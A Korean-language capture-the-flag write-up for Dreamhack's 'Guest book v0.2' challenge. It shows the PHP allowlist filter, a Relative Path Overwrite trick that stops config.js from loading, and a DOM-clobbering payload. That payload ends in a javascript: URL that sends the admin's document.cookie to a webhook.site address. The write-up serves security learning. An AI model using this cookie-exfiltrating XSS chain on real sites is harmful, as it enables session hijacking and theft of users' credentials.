[Dreamhack] Guest book v0.2


문제 설명

  • php로 개발 중인 방명록 서비스입니다.
  • 글을 쓰는 기능과, 오류가 발생하는 주소를 관리자가 확인할 수 있도록 하는 Report기능이 존재합니다.
  • 플래그는 관리자의 쿠키에 포함되어 있습니다.
    • 0.1 버전에서 발견된 취약점을 방어하는 코드가 추가되었습니다.


풀이


문제로 접속하면 아래 0.2로 xss가 보호되고 있다고 나온다.

{A84268A5-52BA-4DF7-B4BE-9A0D874C5A09}


문제 소스 코드를 보면 위는 똑같고 아래 PreventXSS 함수를 정의해서 html을 로드 후 모든 태그를 가져온 다음 ALLOOW_TAGS_ATTRS에 있는 태그인지 검사하고 속성도 맞는지 검사하고 있다.

<?php
function addLink($content){
  $content = htmlentities($content);
  $content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
  PreventXSS($content);
  return $content;
}

$ALLOW_TAGS_ATTRS = array(
  "html"=>['id', 'name'],
  "body"=>['id', 'name'],
  "a"=>['id','href','name'],
  "p"=>['id', 'name'],
);

function PreventXSS($input){
  global $ALLOW_TAGS_ATTRS;

  $htmldoc = new DOMDocument();
  $htmldoc->loadHTML($input);

  $tags = $htmldoc->getElementsByTagName("*");
    
  foreach ($tags as $tag) {
    if( !$ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)] ) DisallowAction();
    $allow_attrs = $ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)];
    foreach($tag->attributes as $attr){
        if( !in_array(strtolower($attr->nodeName), $allow_attrs) ) DisallowAction();
    }
  }
}

function DisallowAction(){
	die("no hack");
}

?>


전 문제에서 썼던 페이로드를 GuestBook.php에서 적으면 역시나 no hack이 나온다.

{2824A1BA-F27F-4416-8C0F-54B3E7201C95}


일단 DOM Cloberring으로 문제를 해결하기 위해 살펴보면 전 문제랑 동일하게 일단 script 태그로 config.js를 불러오고, 그 아래에는 window.CONFIIG와 window.CONFIG.debug가 true이면 window.CONNFIG.main으로 리다이렉션 시켜주는 코드가 존재한다. 하지만 Object.freeze로 객체를 일단 동결시키고 있기 때문에 생각을 좀 해봐야 한다.

window.CONFIG = {
  version: "v0.2",
  main: "/",
  debug: false,
  debugMSG: ""
}

// prevent overwrite
Object.freeze(window.CONFIG);

{250858A2-4C33-4DA2-B8B1-B00DAD8D571E}


엄청 많은 삽질 끝에 dreamhack 강의를 정독하고 있다가 RPO(Relative Path Overwrite)로 config.js 가 로드되는 것을 우회할 수 있다는 것을 알게되었다. 코드를 살펴보면 해당 경로가 상대 경로로 지정되어 있기 때문에 원래 같은 경로의 config.js 를 불러오지만 url 끝에 /를 더 붙여주면, 하위 경로의 config.js를 불러오기 때문에 이를 우회할 수 있다.


마지막에 /를 붙여주니 config.js가 로드되지 않는 걸 볼 수 있다.

{53B44696-65AD-44BF-9A72-4EA75AB89A24}


다음으로는 a 태그를 이용해서 config.js가 로드되지 않기 때문에 window.CONFIG와 window.CONFIG.debug, winow.CONFIG.main을 설정해주어야 한다. 여기서 그냥 멍청하게 하나의 a태그 안에서 전부 다 해결하려고 삽질을 많이 했는데 알고보니 []() 형식으로 두 번 작성하니 a 태그가 2개씩 작성되는 걸 알 수 있었다.

{1D288596-26CD-45ED-94CB-E274A491830C}

{D0BE97B9-9949-426E-9F48-57BE1550DAC9}


그럼 이제 다 끝났다. 우선 익스플로잇 방법은 HTML Collections를 이용해야 하고, 가장 처음 CONFIG id를 정해준 다음 debug를 true로 변경하고, 마지막 location.href가 되는 window.CONFIG.main 값을 전 문제에 작성했던 자바스크립트 스키마를 이용해서 document.cookie를 웹훅 서버로 전달해주게끔 하면 된다.

[dom](#' id='CONFIG')
[dom2](javascript:true' id='CONFIG' name='debug')
[dom3](javascript:location=`https://webhook.site/ec668eca-43dc-4c8c-919e-bd50bde0d0f9?cookie=`+document.cookie' id='CONFIG' name='main')


따라서 report 페이지에서 작성할 때 config.js가 로드되지 않아야 하기 때문에 GuestBook.php/?content= 이렇게 작성하고 위 페이로드를 url 인코딩 해준 후 붙여넣어주면 된다.


{6A15C361-0C93-4518-B136-2EC3DF7E06DB}

댓글남기기